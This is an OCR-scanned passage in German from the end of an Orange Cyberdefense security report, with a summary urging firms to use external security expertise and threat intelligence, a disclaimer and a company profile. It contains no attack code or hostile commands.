die Einschatzung Ihrer Sicherheitslage hinaus. Es bedeutet
auch eine realistische Einschatzung dessen, was Sie generell
tun kdnnen und was nicht — mit angemessenem Aufwand.

Sie kdnnten lhre IT-Abteilung besser besetzen, mehr
Analysten und einen CISO einstellen und in die neuesten
Sicherheitsldsungen investieren. Die Frage ist: Macht all das
immer Sinn? Das Fundament eines Unternehmens bildet in
der Regel eine ganz bestimmte Kernkompetenz, sei es die

Zusammenfassung .

Erbringung einer Art von Dienstleistung oder die Herstellung
einer bestimmten Ware. Auch wenn diese Ware per se digital
ist, ist Cybersecurity fast nie expliziter Bestandteil dieser
Agenda. Anstatt intern eine zusatzliche wichtige Kompetenz
aufzubauen, ist es daher oft klliger, externe Unterstiitzung in
Anspruch zu nehmen.

Der gleiche Grundsatz gilt fir das Kennen Ihres Feindes.

Das Abonnieren von Threat-Intelligence-Feeds ist ein guter
Anfang. Aber um lhre Gegner in einer komplexen, sich standig
andernden Bedrohungslandschaft wirklich zu kennen, sind
Fachwissen, tiefe Einsichten und engagierte Arbeitsgruppen
erforderlich. Mithilfe dieser Informationen kdnnen Sie Angriffe
verhindern oder zumindest sofort auf laufende Kampagnen
reagieren und sich selbst schitzen, bevor Schaden zu gro3
werden.

Der Unterschied, ob sie Ziel und Opfer sind, liegt oft darin, dass
bzw. ob Sie Ihre AbwehrmaBnahmen rechtzeitig vorbereiten.
Wenn Sie die oben genannten drei Aspekte bertcksichtigen,
bleibt Ihr Unternehmen in einer komplexen, riskanten und sich
stets im Wandel befindlichen digitalen Welt sicher.

i, o
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Security ist eine Reise, kein Ziel. Es ist ein
bewegliches Ziel, und der einzige Weg, ihm ndher zu
kommen, besteht darin, selbst in Bewegung zu bleiben.
Sobald dieses Prinzip verstanden wurde, wird die
Vorgehensweise viel klarer.

Sara Puigvert, EVP Global Operations
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Mitwirkende, Quellen und Links .

Haftungsausschluss

Orange Cyberdefense stellt diesen Bericht auf einer ,As-is‘-Basis zur Verfliigung und Gbernimmt keine Garantie
fiir seine Genauigkeit, Vollstédndigkeit oder daflr, dass er die aktuellsten Daten enthélt. Die in diesem Bericht
enthaltenen Informationen sind allgemeiner Natur. Die dargestellten Meinungen und Schlussfolgerungen
spiegeln das Urteil zum Zeitpunkt der Verdffentlichung wider und kénnen ohne vorherige Anklindigung geéndert
werden. Jegliche Verwendung der in diesem Bericht enthaltenen Informationen erfolgt ausschlieBlich auf Risiko
des Benutzers. Orange Cyberdefense Uibernimmt keine Verantwortung firr Fehler, Auslassungen oder Schaden,
die sich aus der Verwendung der in diesem Bericht enthaltenen Informationen oder dem Vertrauen auf diese
Informationen ergeben. Wenn Sie spezielle Sicherheitsbedenken haben, wenden Sie sich bitte an Orange
Cyberdefense, um genauere Analysen und Security Consulting Services zu erhalten.

Einen besonderen Dank
gilt allen Cyber-Huntern,
Analysten und Ingenieuren
in unseren SOCs.
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Cyberdefense?

Orange Cyberdefense ist der Geschéftsbereich
fur Cybersicherheit der Orange Gruppe und
bietet Unternehmen auf der ganzen Welt
Managed Security, Managed Threat Detection &
Response Services.

Als flhrender Anbieter von Security Services
streben wir danach, eine sicherere digitale
Gesellschaft zu schaffen.

Unsere globale Présenz mit européischer
Verankerung ermdglicht es uns, lokale
Anforderungen und internationale Standards

zu erfillen und den Datenschutz und die
Privatsphére unserer Kunden sowie unserer
Mitarbeiter zu gewahrleisten. Wir integrieren
Sicherheit in die Lésungen von Orange Business
Services fur Unternehmen weltweit.

Unser Unternehmen kann auf tber 25 Jahre
Erfahrung im Bereich der Informationssicherheit
zurlickblicken, verfligt tiber 250 Forscher und
Analysten, 18 SOCs, 14 CyberSOCs und 4
CERTs, die Uber die ganze Welt verteilt sind,
sowie Vertriebs- und Serviceunterstitzung in 160
L&ndern. Wir sind stolz darauf, dass wir globalen
Schutz mit lokalem Fachwissen bieten und
unsere Kunden Uber den gesamten Lebenszyklus
von Bedrohungen hinweg unterstitzen kénnen.

www.orangecyberdefense.com

Wir sind ein Anbieter von Threat Research

und Intelligence-driven Security der einen
unvergleichlichen Zugang zu aktuellen und
neuen Bedrohungen bietet. Wir sind stolz auf
unser hauseigenes Forschungsteam und unsere
eigenen Bedrohungsdaten, die es unseren
Kunden ermdglichen, ihre Ressourcen dort

zu investieren, wo sie am meisten bewirken,

und einen aktiven Beitrag zur Cybersecurity
Community zu leisten.

Unsere Experten veréffentlichen regelmaBig
Whitepaper, Artikel und Tools zum Thema
Cybersicherheit, die in der Branche weithin
anerkannt und verwendet werden und auf
globalen Konferenzen wie Infosec, RSA, 44Con,
BlackHat und DefCon vorgestellt werden.

Wir sind der festen Uberzeugung, dass
Technologie allein keine Lésung ist. Wir vereinen
erstklassige Cybersecurity-Talente, einzigartige
Technologien und robuste Prozesse in einem
einfach zu bedienenden, durchgéngigen
Managed Services-Portfolio. Das Fachwissen
und die Erfahrung unserer multidisziplinren
Mitarbeiter erméglichen uns ein tiefes
Verstandnis der Landschaft, in der wir tatig sind.



